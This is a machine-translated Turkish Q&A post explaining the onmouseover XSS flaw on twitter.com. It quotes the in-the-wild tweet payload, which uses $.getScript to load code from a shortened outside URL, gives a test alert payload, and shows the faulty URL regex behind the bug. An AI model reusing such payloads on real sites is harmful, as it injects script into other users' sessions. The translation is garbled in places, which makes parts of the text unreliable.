Bugün'In onmouseover twitter.com'te XSS
Aynen Twitter'da bugün neler olduğunu açıklayabilir misin? Temelde insanların bir tweet bu linki içeren göndermek için neden oldu yararlanma:
http://t.co/@"style="font-size:999999999999px;"onmouseover="$.getScript('http:\u002f\u002fis.gd\u002ffl9A7')"/
Bu teknik olarak XSS saldırı yoksa başka bir şey mi?
Twitter giriş sayfası gibi görünüyordu.* *11
CEVAP
Bu güvenlik açığı URL düzgün, ayrıştırıldı değil çünkü. Örneğin, aşağıdaki URL Twitter gönderildi
http://thisisatest.com/@"onmouseover="alert('test xss')"/
Twitter URL olarak nitelendirir. Bu kod etrafında bir bağlantı sarar Twitter ayrıştırılır, yani artık HTML gibi görünüyor:
<a href="http://thisisatest.com/@"onmouseover="alert('test xss')"rel/" target="_blank" ="">http://thisisatest.com/@"onmouseover="alert('test xss')"/</a></span>
URL ve sonunda eğik çizgi koyarak, Twitter (yani. kaçış sağlayan içinde bir tırnak işareti içeren olsa bile, geçerli bir URL sahip olduğunu görebilirsiniz href
öznitelik, bilgiçler için orada sonlandırmak) URL ve bir fare üzerinde özniteliği vardır. Bağlantıyı kapatma ve bir komut dosyası öğesi de dahil olmak üzere sayfa için herhangi bir şey yazabilirsiniz. Ayrıca, $.getScript()
kullanabilirsiniz, çünkü 140 karakter sınırı ile sınırlı değildir.
This taahhüt ederse, o olsaydı, bu XSS açığı engel olurdu.
Ayrıntılı olarak, soruna neden olan bir düzenli ifade etti:
REGEXEN[:valid_url_path_chars] = /(?:
#{REGEXEN[:wikipedia_disambiguation]}|
@[^\/] \/|
[\.\,]?#{REGEXEN[:valid_general_url_path_chars]}
)/ix
@[^\/] \/
Bölüm @ işareti öneki ve bir eğik çizgi ile ekli herhangi bir karakter izin (eğik çizgi hariç).
10 ** değiştirerek artık sadece geçerli URL karakter verir.